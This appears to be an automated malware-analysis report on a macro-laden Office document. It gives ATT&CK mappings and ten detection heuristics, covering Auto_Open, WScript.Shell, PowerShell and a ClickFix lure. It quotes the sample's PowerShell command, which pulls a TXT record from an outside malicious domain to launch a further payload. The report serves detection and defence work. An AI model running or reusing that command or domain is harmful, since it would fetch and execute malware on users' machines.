MITRE ATT&CK
T1059.001 PowerShell T1059.003 Windows Command Shell T1204.002 Malicious File

The sample contains a VBA Auto_Open macro that utilizes WScript.Shell to execute a PowerShell command. The command 'powershell (nslookup -q=txt methew.abena-dk.cam)[-1] -NoNewWindow' suggests an attempt to resolve a TXT record from a domain and likely use the result to download and execute a further payload. The 'ClickFix' heuristic further supports the social engineering aspect of tricking the user into running commands.

Heuristics 10

  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • ClickFix social engineering attack high SE_CLICKFIX
    Document instructs the user to press Win+R or paste a command into a terminal — consistent with ClickFix attacks that bypass macro restrictions by tricking users into running malicious commands directly
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code
